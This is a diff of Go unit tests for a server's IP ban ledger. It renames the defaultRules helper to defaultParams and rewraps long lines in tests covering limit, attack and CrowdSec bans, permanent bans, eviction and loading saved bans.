} }
again, made := ledger.BanForLimit(netblock, midnight().Add(time.Minute), bans.Notes{}) again, made := ledger.BanForLimit(
netblock,
midnight().Add(time.Minute),
bans.Notes{},
)
if made || !reflect.DeepEqual(again, first) || len(ledger.Bans(netblock)) != 1 { if made || !reflect.DeepEqual(again, first) ||
t.Errorf("a limit broken during a ban gave %+v, made %t, and %d bans, "+ len(ledger.Bans(netblock)) != 1 {
"want %+v, not made, and 1", again, made, len(ledger.Bans(netblock)), first) t.Errorf(
"a limit broken during a ban gave %+v, made %t, and %d bans, "+
"want %+v, not made, and 1",
again,
made,
len(ledger.Bans(netblock)),
first,
)
} }
again, made = ledger.BanForAttack(netblock, midnight().Add(time.Minute), bans.Notes{}) again, made = ledger.BanForAttack(
netblock,
midnight().Add(time.Minute),
bans.Notes{},
)
if made || !reflect.DeepEqual(again, first) { if made || !reflect.DeepEqual(again, first) {
t.Errorf("an attack during a ban gave %+v, made %t, want %+v, not made", t.Errorf(
again, made, first) "an attack during a ban gave %+v, made %t, want %+v, not made",
again,
made,
first,
)
} }
} }
func TestCheckRefusesWhileTheBanLastsAndCountsTheRefusals(t *testing.T) { func TestCheckRefusesWhileTheBanLastsAndCountsTheRefusals(t *testing.T) {
t.Parallel() t.Parallel()
ledger := bans.New(defaultRules()) ledger := bans.New(defaultParams())
netblock := netip.MustParsePrefix("203.0.113.9/32") netblock := netip.MustParsePrefix("203.0.113.9/32")
ban, _ := ledger.BanForLimit(netblock, midnight(), bans.Notes{Requests: 5}) ban, _ := ledger.BanForLimit(
netblock,
midnight(),
bans.Notes{Requests: 5},
)
for range 3 { for range 3 {
got, banned, _ := ledger.Check(netblock.Addr(), ban.Expires.Add(-time.Nanosecond)) got, banned, _ := ledger.Check(
netblock.Addr(),
ban.Expires.Add(-time.Nanosecond),
)
if !banned || got.Start != ban.Start { if !banned || got.Start != ban.Start {
t.Fatalf("check during the ban gives %+v and %t", got, banned) t.Fatalf("check during the ban gives %+v and %t", got, banned)
} }
} }
_, banned, _ := ledger.Check(netip.MustParseAddr("203.0.113.10"), midnight()) _, banned, _ := ledger.Check(
netip.MustParseAddr("203.0.113.10"),
midnight(),
)
if banned { if banned {
t.Error("another netblock is banned") t.Error("another netblock is banned")
} }
@@ -178,13 +235,25 @@ func TestCheckRefusesWhileTheBanLastsAndCountsTheRefusals(t *testing.T) {
func TestFindCountsNothing(t *testing.T) { func TestFindCountsNothing(t *testing.T) {
t.Parallel() t.Parallel()
ledger := bans.New(defaultRules()) ledger := bans.New(defaultParams())
netblock := netip.MustParsePrefix("203.0.113.9/32") netblock := netip.MustParsePrefix("203.0.113.9/32")
ban, _ := ledger.BanForLimit(netblock, midnight(), bans.Notes{Requests: 5}) ban, _ := ledger.BanForLimit(
netblock,
midnight(),
bans.Notes{Requests: 5},
)
got, banned, _ := ledger.Find(netblock.Addr(), ban.Expires.Add(-time.Nanosecond)) got, banned, _ := ledger.Find(
netblock.Addr(),
ban.Expires.Add(-time.Nanosecond),
)
if !banned || !reflect.DeepEqual(got, ban) { if !banned || !reflect.DeepEqual(got, ban) {
t.Errorf("find during the ban gives %+v and %t, want %+v", got, banned, ban) t.Errorf(
"find during the ban gives %+v and %t, want %+v",
got,
banned,
ban,
)
} }
_, banned, _ = ledger.Find(netblock.Addr(), ban.Expires) _, banned, _ = ledger.Find(netblock.Addr(), ban.Expires)
@@ -192,17 +261,26 @@ func TestFindCountsNothing(t *testing.T) {
t.Error("the ban did not end") t.Error("the ban did not end")
} }
if notes := ledger.Bans(netblock)[0].Notes; !reflect.DeepEqual(notes, ban.Notes) { if notes := ledger.Bans(netblock)[0].Notes; !reflect.DeepEqual(
t.Errorf("the notes are %+v, want them unchanged, %+v", notes, ban.Notes) notes,
ban.Notes,
) {
t.Errorf(
"the notes are %+v, want them unchanged, %+v",
notes,
ban.Notes,
)
} }
} }
func TestMaxBansDropsTheEarliestBanOfTheNetblockSeenLongestAgo(t *testing.T) { func TestMaxBansDropsTheEarliestBanOfTheNetblockSeenLongestAgo(
t *testing.T,
) {
t.Parallel() t.Parallel()
rules := defaultRules() params := defaultParams()
rules.MaxBans = 3 params.MaxBans = 3
ledger := bans.New(rules) ledger := bans.New(params)
a := netip.MustParsePrefix("203.0.113.1/32") a := netip.MustParsePrefix("203.0.113.1/32")
b := netip.MustParsePrefix("203.0.113.2/32") b := netip.MustParsePrefix("203.0.113.2/32")
c := netip.MustParsePrefix("203.0.113.3/32") c := netip.MustParsePrefix("203.0.113.3/32")
@@ -230,7 +308,10 @@ func TestMaxBansDropsTheEarliestBanOfTheNetblockSeenLongestAgo(t *testing.T) {
wantBans(t, ledger, map[netip.Prefix]int{a: 1, b: 1, d: 1}) wantBans(t, ledger, map[netip.Prefix]int{a: 1, b: 1, d: 1})
if !ledger.Bans(a)[0].Start.Equal(first.Expires) { if !ledger.Bans(a)[0].Start.Equal(first.Expires) {
t.Errorf("a kept its ban of %s, want the later one", ledger.Bans(a)[0].Start) t.Errorf(
"a kept its ban of %s, want the later one",
ledger.Bans(a)[0].Start,
)
} }
} }
@@ -239,9 +320,9 @@ func TestFullLedgerDropsTheEarlierBanOfTheNetblockBannedAgain(t *testing.T) {
// With room for one ban, the netblock's ended ban goes to make room for // With room for one ban, the netblock's ended ban goes to make room for
// its new one, whose notes still count it. // its new one, whose notes still count it.
rules := defaultRules() params := defaultParams()
rules.MaxBans = 1 params.MaxBans = 1
ledger := bans.New(rules) ledger := bans.New(params)
netblock := netip.MustParsePrefix("203.0.113.9/32") netblock := netip.MustParsePrefix("203.0.113.9/32")
first, _ := ledger.BanForLimit(netblock, midnight(), bans.Notes{}) first, _ := ledger.BanForLimit(netblock, midnight(), bans.Notes{})
@@ -258,53 +339,82 @@ func TestFullLedgerDropsTheEarlierBanOfTheNetblockBannedAgain(t *testing.T) {
func TestRequestDuringAnAttackBanMakesItPermanent(t *testing.T) { func TestRequestDuringAnAttackBanMakesItPermanent(t *testing.T) {
t.Parallel() t.Parallel()
ledger := bans.New(defaultRules()) ledger := bans.New(defaultParams())
netblock := netip.MustParsePrefix("203.0.113.9/32") netblock := netip.MustParsePrefix("203.0.113.9/32")
notes := bans.Notes{RuleID: "env-file", Target: "path"} notes := bans.Notes{RuleID: "env-file", Target: "path"}
ban, _ := ledger.BanForAttack(netblock, midnight(), notes) ban, _ := ledger.BanForAttack(netblock, midnight(), notes)
if !ban.Expires.Equal(midnight().Add(7*day)) || ban.Cause != bans.CauseAttack || if !ban.Expires.Equal(midnight().Add(7*day)) ||
ban.Notes.RuleID != "env-file" || ledger.Made(bans.CauseAttack) != 1 || ban.Cause != bans.CauseAttack ||
ban.Notes.RuleID != "env-file" ||
ledger.Made(bans.CauseAttack) != 1 ||
ledger.Made(bans.CauseLimit) != 0 { ledger.Made(bans.CauseLimit) != 0 {
t.Fatalf("the ban is %+v, with %d made for an attack and %d for a limit, "+ t.Fatalf(
"want one for an attack, of seven days", ban, "the ban is %+v, with %d made for an attack and %d for a limit, "+
ledger.Made(bans.CauseAttack), ledger.Made(bans.CauseLimit)) "want one for an attack, of seven days",
ban,
ledger.Made(bans.CauseAttack),
ledger.Made(bans.CauseLimit),
)
} }
wantChanged(t, ledger, true) wantChanged(t, ledger, true)
// In observe mode the ban refuses nothing, and stays as it is, while // In observe mode the ban refuses nothing, and stays as it is, while
// Find tells that the request would have made it permanent. // Find tells that the request would have made it permanent.
got, _, wouldMakePermanent := ledger.Find(netblock.Addr(), midnight().Add(time.Hour)) got, _, wouldMakePermanent := ledger.Find(
if got.Permanent() || ledger.Bans(netblock)[0].Permanent() || !wouldMakePermanent { netblock.Addr(),
t.Fatalf("a request found under the ban left it %+v, would have made it "+ midnight().Add(time.Hour),
"permanent %t, want it as it was, and true", got, wouldMakePermanent) )
if got.Permanent() || ledger.Bans(netblock)[0].Permanent() ||
!wouldMakePermanent {
t.Fatalf(
"a request found under the ban left it %+v, would have made it "+
"permanent %t, want it as it was, and true",
got,
wouldMakePermanent,
)
} }
wantChanged(t, ledger, false) wantChanged(t, ledger, false)
// A request it refuses makes it permanent, says so, and makes // A request it refuses makes it permanent, says so, and makes
// bans.json due. // bans.json due.
got, _, madePermanent := ledger.Check(netblock.Addr(), midnight().Add(time.Hour)) got, _, madePermanent := ledger.Check(
if !madePermanent || !got.Permanent() || !ledger.Bans(netblock)[0].Permanent() { netblock.Addr(),
t.Fatalf("after a request during the ban, it is %+v, made permanent %t, "+ midnight().Add(time.Hour),
"want it made permanent", got, madePermanent) )
if !madePermanent || !got.Permanent() ||
!ledger.Bans(netblock)[0].Permanent() {
t.Fatalf(
"after a request during the ban, it is %+v, made permanent %t, "+
"want it made permanent",
got,
madePermanent,
)
} }
wantChanged(t, ledger, true) wantChanged(t, ledger, true)
// The next request finds it permanent already. // The next request finds it permanent already.
_, banned, madePermanent := ledger.Check(netblock.Addr(), midnight().Add(100*365*day)) _, banned, madePermanent := ledger.Check(
netblock.Addr(),
midnight().Add(100*365*day),
)
if !banned || madePermanent { if !banned || madePermanent {
t.Errorf("a later request is banned %t, and made the ban permanent %t, "+ t.Errorf(
"want banned by the permanent ban", banned, madePermanent) "a later request is banned %t, and made the ban permanent %t, "+
"want banned by the permanent ban",
banned,
madePermanent,
)
} }
} }
func TestAttackAfterAnAttackBanHasEndedBansPermanently(t *testing.T) { func TestAttackAfterAnAttackBanHasEndedBansPermanently(t *testing.T) {
t.Parallel() t.Parallel()
ledger := bans.New(defaultRules()) ledger := bans.New(defaultParams())
netblock := netip.MustParsePrefix("203.0.113.9/32") netblock := netip.MustParsePrefix("203.0.113.9/32")
// A ban for a broken limit before does not count. // A ban for a broken limit before does not count.
@@ -325,7 +435,11 @@ func TestAttackAfterAnAttackBanHasEndedBansPermanently(t *testing.T) {
// Its notes show the earlier ban for an attack that makes it permanent, // Its notes show the earlier ban for an attack that makes it permanent,
// beside the one for a limit. // beside the one for a limit.
third, _ := ledger.BanForAttack(netblock, second.Expires.Add(30*day), bans.Notes{}) third, _ := ledger.BanForAttack(
netblock,
second.Expires.Add(30*day),
bans.Notes{},
)
if !third.Permanent() || if !third.Permanent() ||
third.Notes.EarlierBans != (bans.EarlierBans{Limit: 1, Attack: 1}) { third.Notes.EarlierBans != (bans.EarlierBans{Limit: 1, Attack: 1}) {
t.Errorf("the next ban for an attack is %+v, want a permanent one, "+ t.Errorf("the next ban for an attack is %+v, want a permanent one, "+
@@ -336,16 +450,24 @@ func TestAttackAfterAnAttackBanHasEndedBansPermanently(t *testing.T) {
func TestWouldBanGivesTheBanWithoutMakingIt(t *testing.T) { func TestWouldBanGivesTheBanWithoutMakingIt(t *testing.T) {
t.Parallel() t.Parallel()
ledger := bans.New(defaultRules()) ledger := bans.New(defaultParams())
netblock := netip.MustParsePrefix("203.0.113.9/32") netblock := netip.MustParsePrefix("203.0.113.9/32")
first, _ := ledger.BanForLimit(netblock, midnight(), bans.Notes{}) first, _ := ledger.BanForLimit(netblock, midnight(), bans.Notes{})
wantChanged(t, ledger, true) wantChanged(t, ledger, true)
// While the first ban lasts, none would be made. // While the first ban lasts, none would be made.
during, would := ledger.WouldBanForAttack(netblock, midnight(), bans.Notes{}) during, would := ledger.WouldBanForAttack(
netblock,
midnight(),
bans.Notes{},
)
if would || !reflect.DeepEqual(during, first) { if would || !reflect.DeepEqual(during, first) {
t.Errorf("during the first ban, would ban %t with %+v, want false with %+v", t.Errorf(
would, during, first) "during the first ban, would ban %t with %+v, want false with %+v",
would,
during,
first,
)
} }
// As it ends, a clear sign of attack would ban for seven days, and a // As it ends, a clear sign of attack would ban for seven days, and a
@@ -353,19 +475,31 @@ func TestWouldBanGivesTheBanWithoutMakingIt(t *testing.T) {
limitNotes := bans.Notes{Kind: "requests", Limit: 1, Window: "minute"} limitNotes := bans.Notes{Kind: "requests", Limit: 1, Window: "minute"}
attack, wouldAttack := ledger.WouldBanForAttack(netblock, first.Expires, attack, wouldAttack := ledger.WouldBanForAttack(netblock, first.Expires,
bans.Notes{RuleID: "git-dir"}) bans.Notes{RuleID: "git-dir"})
limit, wouldLimit := ledger.WouldBanForLimit(netblock, first.Expires, limitNotes) limit, wouldLimit := ledger.WouldBanForLimit(
netblock,
first.Expires,
limitNotes,
)
if !wouldAttack || !attack.Expires.Equal(first.Expires.Add(7*day)) || if !wouldAttack || !attack.Expires.Equal(first.Expires.Add(7*day)) ||
attack.Reason != "matched the rule git-dir" || !wouldLimit || attack.Reason != "matched the rule git-dir" || !wouldLimit ||
!limit.Expires.Equal(first.Expires.Add(3*time.Hour)) || !limit.Expires.Equal(first.Expires.Add(3*time.Hour)) ||
limit.Reason != "requests per minute over the limit of 1" { limit.Reason != "requests per minute over the limit of 1" {
t.Errorf("would ban with %+v and %+v, want seven days for the attack and "+ t.Errorf(
"three hours for the limit", attack, limit) "would ban with %+v and %+v, want seven days for the attack and "+
"three hours for the limit",
attack,
limit,
)
} }
if len(ledger.Bans(netblock)) != 1 || ledger.Made(bans.CauseLimit) != 1 || if len(ledger.Bans(netblock)) != 1 ||
ledger.Made(bans.CauseLimit) != 1 ||
ledger.Made(bans.CauseAttack) != 0 { ledger.Made(bans.CauseAttack) != 0 {
t.Errorf("the ledger holds %+v, want the first ban alone", ledger.Bans(netblock)) t.Errorf(
"the ledger holds %+v, want the first ban alone",
ledger.Bans(netblock),
)
} }
wantChanged(t, ledger, false) wantChanged(t, ledger, false)
@@ -380,7 +514,7 @@ func TestWouldBanGivesTheBanWithoutMakingIt(t *testing.T) {
func TestWouldBePermanentAnswersAsTheBanWouldBeMade(t *testing.T) { func TestWouldBePermanentAnswersAsTheBanWouldBeMade(t *testing.T) {
t.Parallel() t.Parallel()
ledger := bans.New(defaultRules()) ledger := bans.New(defaultParams())
netblock := netip.MustParsePrefix("203.0.113.9/32") netblock := netip.MustParsePrefix("203.0.113.9/32")
now := midnight() now := midnight()
@@ -414,7 +548,7 @@ func TestWouldBePermanentAnswersAsTheBanWouldBeMade(t *testing.T) {
func TestAttackBanDoesNotLengthenTheNextBanForALimit(t *testing.T) { func TestAttackBanDoesNotLengthenTheNextBanForALimit(t *testing.T) {
t.Parallel() t.Parallel()
ledger := bans.New(defaultRules()) ledger := bans.New(defaultParams())
netblock := netip.MustParsePrefix("203.0.113.9/32") netblock := netip.MustParsePrefix("203.0.113.9/32")
// Three times the seven days would be permanent; a limit broken as the // Three times the seven days would be permanent; a limit broken as the
@@ -422,7 +556,8 @@ func TestAttackBanDoesNotLengthenTheNextBanForALimit(t *testing.T) {
attack, _ := ledger.BanForAttack(netblock, midnight(), bans.Notes{}) attack, _ := ledger.BanForAttack(netblock, midnight(), bans.Notes{})
limit, _ := ledger.BanForLimit(netblock, attack.Expires, bans.Notes{}) limit, _ := ledger.BanForLimit(netblock, attack.Expires, bans.Notes{})
if limit.Expires.Sub(limit.Start) != time.Hour || limit.Cause != bans.CauseLimit { if limit.Expires.Sub(limit.Start) != time.Hour ||
limit.Cause != bans.CauseLimit {
t.Errorf("the ban for a limit is %+v, want one of an hour", limit) t.Errorf("the ban for a limit is %+v, want one of an hour", limit)
} }
@@ -436,29 +571,37 @@ func TestAttackBanDoesNotLengthenTheNextBanForALimit(t *testing.T) {
func TestRequestTextsAreCutTo256Bytes(t *testing.T) { func TestRequestTextsAreCutTo256Bytes(t *testing.T) {
t.Parallel() t.Parallel()
ledger := bans.New(defaultRules()) ledger := bans.New(defaultParams())
netblock := netip.MustParsePrefix("203.0.113.9/32") netblock := netip.MustParsePrefix("203.0.113.9/32")
long := strings.Repeat("a", 300) long := strings.Repeat("a", 300)
request := bans.Request{ request := bans.Request{
Time: midnight(), Method: long, Host: long, Path: long, Status: 403, UserAgent: long, Time: midnight(), Method: long, Host: long, Path: long, Status: 403, UserAgent: long,
} }
ban, _ := ledger.BanForLimit(netblock, midnight(), bans.Notes{Request: request}) ban, _ := ledger.BanForLimit(
netblock,
midnight(),
bans.Notes{Request: request},
)
cut := long[:256] cut := long[:256]
want := bans.Request{ want := bans.Request{
Time: midnight(), Method: cut, Host: cut, Path: cut, Status: 403, UserAgent: cut, Time: midnight(), Method: cut, Host: cut, Path: cut, Status: 403, UserAgent: cut,
} }
if ban.Notes.Request != want || ledger.Bans(netblock)[0].Notes.Request != want { if ban.Notes.Request != want ||
t.Errorf("the notes keep %+v, want each text cut to 256 bytes", ban.Notes.Request) ledger.Bans(netblock)[0].Notes.Request != want {
t.Errorf(
"the notes keep %+v, want each text cut to 256 bytes",
ban.Notes.Request,
)
} }
} }
func TestLookupFillsTheNotesOfTheNetblocksBansWithoutOne(t *testing.T) { func TestLookupFillsTheNotesOfTheNetblocksBansWithoutOne(t *testing.T) {
t.Parallel() t.Parallel()
ledger := bans.New(defaultRules()) ledger := bans.New(defaultParams())
netblock := netip.MustParsePrefix("203.0.113.9/32") netblock := netip.MustParsePrefix("203.0.113.9/32")
other := netip.MustParsePrefix("198.51.100.7/32") other := netip.MustParsePrefix("198.51.100.7/32")
@@ -482,24 +625,34 @@ func TestLookupFillsTheNotesOfTheNetblocksBansWithoutOne(t *testing.T) {
{ASN: "AS64496", ASName: "Example Net", Country: "DE"}, {ASN: "AS64496", ASName: "Example Net", Country: "DE"},
} { } {
got := held[i].Notes got := held[i].Notes
if got.ASN != want.ASN || got.ASName != want.ASName || got.Country != want.Country { if got.ASN != want.ASN || got.ASName != want.ASName ||
t.Errorf("ban %d's notes give %q, %q and %q, want %q, %q and %q", i+1, got.Country != want.Country {
got.ASN, got.ASName, got.Country, want.ASN, want.ASName, want.Country) t.Errorf(
"ban %d's notes give %q, %q and %q, want %q, %q and %q",
i+1,
got.ASN,
got.ASName,
got.Country,
want.ASN,
want.ASName,
want.Country,
)
} }
} }
if notes := ledger.Bans(other)[0].Notes; notes.ASN != "" || notes.Country != "" { if notes := ledger.Bans(other)[0].Notes; notes.ASN != "" ||
notes.Country != "" {
t.Errorf("the ban on %s has %q and %q, want neither", t.Errorf("the ban on %s has %q and %q, want neither",
other, notes.ASN, notes.Country) other, notes.ASN, notes.Country)
} }
} }
// defaultRules are the rules at the settings' defaults. // defaultParams are the params at the settings' defaults.
func defaultRules() bans.Rules { func defaultParams() bans.Params {
return bans.Rules{ return bans.Params{
LimitBanDuration: time.Hour, LimitBanDuration: time.Hour,
LimitBanRepeatWindow: day, LimitBanRepeatWindow: day,
MaxBanDuration: 7 * day, LimitBanPermanentAbove: 7 * day,
AttackBanDuration: 7 * day, AttackBanDuration: 7 * day,
MaxBans: 5000, MaxBans: 5000,
} }
+69 -23
View File
@@ -15,44 +15,76 @@ const scenario = "crowdsecurity/ssh-bf"
func TestCrowdSecBanLastsUntilTheDecisionEnds(t *testing.T) { func TestCrowdSecBanLastsUntilTheDecisionEnds(t *testing.T) {
t.Parallel() t.Parallel()
ledger := bans.New(defaultRules()) ledger := bans.New(defaultParams())
netblock := netip.MustParsePrefix("203.0.113.9/32") netblock := netip.MustParsePrefix("203.0.113.9/32")
expires := midnight().Add(4 * time.Hour) expires := midnight().Add(4 * time.Hour)
// The ban that would be made is not made. // The ban that would be made is not made.
would, wouldBan := ledger.WouldBanForCrowdSec(netblock, midnight(), expires, would, wouldBan := ledger.WouldBanForCrowdSec(
scenario, bans.Notes{}) netblock,
midnight(),
expires,
scenario,
bans.Notes{},
)
if !wouldBan || len(ledger.Bans(netblock)) != 0 { if !wouldBan || len(ledger.Bans(netblock)) != 0 {
t.Errorf("would ban %t, and the ledger holds %+v, want true and nothing", t.Errorf(
wouldBan, ledger.Bans(netblock)) "would ban %t, and the ledger holds %+v, want true and nothing",
wouldBan,
ledger.Bans(netblock),
)
} }
const reason = "CrowdSec's decision for " + scenario const reason = "CrowdSec's decision for " + scenario
ban, made := ledger.BanForCrowdSec(netblock, midnight(), expires, scenario, ban, made := ledger.BanForCrowdSec(
bans.Notes{}) netblock,
if !made || !reflect.DeepEqual(ban, would) || ban.Cause != bans.CauseCrowdSec || midnight(),
!ban.Expires.Equal(expires) || ban.Reason != reason || expires,
scenario,
bans.Notes{},
)
if !made || !reflect.DeepEqual(ban, would) ||
ban.Cause != bans.CauseCrowdSec ||
!ban.Expires.Equal(expires) ||
ban.Reason != reason ||
ledger.Made(bans.CauseCrowdSec) != 1 { ledger.Made(bans.CauseCrowdSec) != 1 {
t.Errorf("made %t the ban %+v, want the one that would be made, %+v, for "+ t.Errorf(
"crowdsec until %s", made, ban, would, expires) "made %t the ban %+v, want the one that would be made, %+v, for "+
"crowdsec until %s",
made,
ban,
would,
expires,
)
} }
// A second decision on the netblock while the ban lasts makes no other. // A second decision on the netblock while the ban lasts makes no other.
again, made := ledger.BanForCrowdSec(netblock, midnight().Add(time.Hour), again, made := ledger.BanForCrowdSec(netblock, midnight().Add(time.Hour),
expires.Add(time.Hour), scenario, bans.Notes{}) expires.Add(time.Hour), scenario, bans.Notes{})
if made || !again.Expires.Equal(expires) || ledger.Made(bans.CauseCrowdSec) != 1 { if made || !again.Expires.Equal(expires) ||
t.Errorf("made %t the ban %+v while the first lasts, want none", made, again) ledger.Made(bans.CauseCrowdSec) != 1 {
t.Errorf(
"made %t the ban %+v while the first lasts, want none",
made,
again,
)
} }
} }
func TestCrowdSecBanIsNeverMadePermanent(t *testing.T) { func TestCrowdSecBanIsNeverMadePermanent(t *testing.T) {
t.Parallel() t.Parallel()
ledger := bans.New(defaultRules()) ledger := bans.New(defaultParams())
netblock := netip.MustParsePrefix("203.0.113.9/32") netblock := netip.MustParsePrefix("203.0.113.9/32")
expires := midnight().Add(4 * time.Hour) expires := midnight().Add(4 * time.Hour)
ledger.BanForCrowdSec(netblock, midnight(), expires, scenario, bans.Notes{}) ledger.BanForCrowdSec(
netblock,
midnight(),
expires,
scenario,
bans.Notes{},
)
// A request as the ban ends is refused, and leaves it as it is. // A request as the ban ends is refused, and leaves it as it is.
last := expires.Add(-time.Nanosecond) last := expires.Add(-time.Nanosecond)
@@ -60,8 +92,13 @@ func TestCrowdSecBanIsNeverMadePermanent(t *testing.T) {
held, banned, madePermanent := ledger.Check(netblock.Addr(), last) held, banned, madePermanent := ledger.Check(netblock.Addr(), last)
if !banned || madePermanent || !held.Expires.Equal(expires) || if !banned || madePermanent || !held.Expires.Equal(expires) ||
ledger.WouldBePermanent(netblock, last, bans.CauseCrowdSec) { ledger.WouldBePermanent(netblock, last, bans.CauseCrowdSec) {
t.Errorf("as the ban ends, banned %t with %+v, made permanent %t, want "+ t.Errorf(
"refused under the ban as it was", banned, held, madePermanent) "as the ban ends, banned %t with %+v, made permanent %t, want "+
"refused under the ban as it was",
banned,
held,
madePermanent,
)
} }
if _, banned, _ := ledger.Check(netblock.Addr(), expires); banned { if _, banned, _ := ledger.Check(netblock.Addr(), expires); banned {
@@ -69,22 +106,31 @@ func TestCrowdSecBanIsNeverMadePermanent(t *testing.T) {
} }
} }
func TestCrowdSecBanIsCountedAndDoesNotLengthenTheNextBanForALimit(t *testing.T) { func TestCrowdSecBanIsCountedAndDoesNotLengthenTheNextBanForALimit(
t *testing.T,
) {
t.Parallel() t.Parallel()
ledger := bans.New(defaultRules()) ledger := bans.New(defaultParams())
netblock := netip.MustParsePrefix("203.0.113.9/32") netblock := netip.MustParsePrefix("203.0.113.9/32")
// Three times the three days would be permanent; a limit broken as the // Three times the three days would be permanent; a limit broken as the
// ban for CrowdSec's decision ends bans for an hour, as a first broken // ban for CrowdSec's decision ends bans for an hour, as a first broken
// limit does. // limit does.
crowdSec, _ := ledger.BanForCrowdSec(netblock, midnight(), midnight().Add(3*day), crowdSec, _ := ledger.BanForCrowdSec(
scenario, bans.Notes{}) netblock,
midnight(),
midnight().Add(3*day),
scenario,
bans.Notes{},
)
limit, _ := ledger.BanForLimit(netblock, crowdSec.Expires, bans.Notes{}) limit, _ := ledger.BanForLimit(netblock, crowdSec.Expires, bans.Notes{})
if limit.Expires.Sub(limit.Start) != time.Hour || if limit.Expires.Sub(limit.Start) != time.Hour ||
limit.Notes.EarlierBans != (bans.EarlierBans{CrowdSec: 1}) { limit.Notes.EarlierBans != (bans.EarlierBans{CrowdSec: 1}) {
t.Errorf("the ban for a limit is %+v, want one of an hour after one for crowdsec", t.Errorf(
limit) "the ban for a limit is %+v, want one of an hour after one for crowdsec",
limit,
)
} }
} }
+94 -37
View File
@@ -14,7 +14,7 @@ import (
func TestChangedAfterABanIsMade(t *testing.T) { func TestChangedAfterABanIsMade(t *testing.T) {
t.Parallel() t.Parallel()
ledger := bans.New(defaultRules()) ledger := bans.New(defaultParams())
netblock := netip.MustParsePrefix("203.0.113.9/32") netblock := netip.MustParsePrefix("203.0.113.9/32")
wantChanged(t, ledger, false) wantChanged(t, ledger, false)
@@ -29,8 +29,16 @@ func TestChangedAfterABanIsMade(t *testing.T) {
wantChanged(t, ledger, false) wantChanged(t, ledger, false)
// Two bans before the value is read leave one. // Two bans before the value is read leave one.
ledger.BanForLimit(netip.MustParsePrefix("203.0.113.10/32"), midnight(), bans.Notes{}) ledger.BanForLimit(
ledger.BanForLimit(netip.MustParsePrefix("203.0.113.11/32"), midnight(), bans.Notes{}) netip.MustParsePrefix("203.0.113.10/32"),
midnight(),
bans.Notes{},
)
ledger.BanForLimit(
netip.MustParsePrefix("203.0.113.11/32"),
midnight(),
bans.Notes{},
)
wantChanged(t, ledger, true) wantChanged(t, ledger, true)
wantChanged(t, ledger, false) wantChanged(t, ledger, false)
} }
@@ -38,7 +46,7 @@ func TestChangedAfterABanIsMade(t *testing.T) {
func TestSnapshotListsEveryBanByNetblock(t *testing.T) { func TestSnapshotListsEveryBanByNetblock(t *testing.T) {
t.Parallel() t.Parallel()
ledger := bans.New(defaultRules()) ledger := bans.New(defaultParams())
v6 := netip.MustParsePrefix("2001:db8::/64") v6 := netip.MustParsePrefix("2001:db8::/64")
high := netip.MustParsePrefix("203.0.113.10/32") high := netip.MustParsePrefix("203.0.113.10/32")
low := netip.MustParsePrefix("203.0.113.9/32") low := netip.MustParsePrefix("203.0.113.9/32")
@@ -52,7 +60,10 @@ func TestSnapshotListsEveryBanByNetblock(t *testing.T) {
got := make([]string, 0, len(snapshot)) got := make([]string, 0, len(snapshot))
for _, ban := range snapshot { for _, ban := range snapshot {
got = append(got, ban.Netblock.String()+" "+ban.Start.Format(time.Kitchen)) got = append(
got,
ban.Netblock.String()+" "+ban.Start.Format(time.Kitchen),
)
} }
want := []string{ want := []string{
@@ -67,17 +78,20 @@ func TestSnapshotListsEveryBanByNetblock(t *testing.T) {
func TestLoadedBansCarryOn(t *testing.T) { func TestLoadedBansCarryOn(t *testing.T) {
t.Parallel() t.Parallel()
before := bans.New(defaultRules()) before := bans.New(defaultParams())
netblock := netip.MustParsePrefix("203.0.113.9/32") netblock := netip.MustParsePrefix("203.0.113.9/32")
ban, _ := before.BanForLimit(netblock, midnight(), bans.Notes{Limit: 1}) ban, _ := before.BanForLimit(netblock, midnight(), bans.Notes{Limit: 1})
// Loaded into a new ledger, as across a restart, the ban still refuses // Loaded into a new ledger, as across a restart, the ban still refuses
// while it lasts, and once it has ended a broken limit bans for three // while it lasts, and once it has ended a broken limit bans for three
// times as long, with the loaded ban counted among the earlier ones. // times as long, with the loaded ban counted among the earlier ones.
after := bans.New(defaultRules()) after := bans.New(defaultParams())
after.Load(before.Snapshot()) after.Load(before.Snapshot())
_, banned, _ := after.Check(netblock.Addr(), ban.Expires.Add(-time.Second)) _, banned, _ := after.Check(
netblock.Addr(),
ban.Expires.Add(-time.Second),
)
if !banned { if !banned {
t.Error("the loaded ban does not refuse") t.Error("the loaded ban does not refuse")
} }
@@ -85,8 +99,11 @@ func TestLoadedBansCarryOn(t *testing.T) {
again, _ := after.BanForLimit(netblock, ban.Expires, bans.Notes{}) again, _ := after.BanForLimit(netblock, ban.Expires, bans.Notes{})
if again.Expires.Sub(again.Start) != 3*time.Hour || if again.Expires.Sub(again.Start) != 3*time.Hour ||
again.Notes.EarlierBans != (bans.EarlierBans{Limit: 1}) { again.Notes.EarlierBans != (bans.EarlierBans{Limit: 1}) {
t.Errorf("the next ban lasts %s with earlier bans %+v, want 3h and 1 for a limit", t.Errorf(
again.Expires.Sub(again.Start), again.Notes.EarlierBans) "the next ban lasts %s with earlier bans %+v, want 3h and 1 for a limit",
again.Expires.Sub(again.Start),
again.Notes.EarlierBans,
)
} }
} }
@@ -96,12 +113,22 @@ func TestLoadedBanRefusesEveryClientInItsNetblock(t *testing.T) {
// Two entries as an admin might write them, with addresses not masked // Two entries as an admin might write them, with addresses not masked
// to their lengths, the IPv6 one shorter than the /64 an IPv6 client's // to their lengths, the IPv6 one shorter than the /64 an IPv6 client's
// ban covers, beside a ban the ledger makes on one IPv4 address. // ban covers, beside a ban the ledger makes on one IPv4 address.
ledger := bans.New(defaultRules()) ledger := bans.New(defaultParams())
ledger.Load([]bans.Ban{ ledger.Load([]bans.Ban{
{Netblock: netip.MustParsePrefix("203.0.113.9/24"), Start: midnight()}, {
{Netblock: netip.MustParsePrefix("2001:db8::1/48"), Start: midnight()}, Netblock: netip.MustParsePrefix("203.0.113.9/24"),
Start: midnight(),
},
{
Netblock: netip.MustParsePrefix("2001:db8::1/48"),
Start: midnight(),
},
}) })
ledger.BanForLimit(netip.MustParsePrefix("198.51.100.7/32"), midnight(), bans.Notes{}) ledger.BanForLimit(
netip.MustParsePrefix("198.51.100.7/32"),
midnight(),
bans.Notes{},
)
for client, want := range map[string]bool{ for client, want := range map[string]bool{
"203.0.113.0": true, "203.0.113.0": true,
@@ -138,14 +165,17 @@ func TestPermanentBanStartedBeforeAnEndedOneRefuses(t *testing.T) {
// As when an admin adds a permanent ban to bans.json with a start // As when an admin adds a permanent ban to bans.json with a start
// before that of the netblock's ban that has ended. // before that of the netblock's ban that has ended.
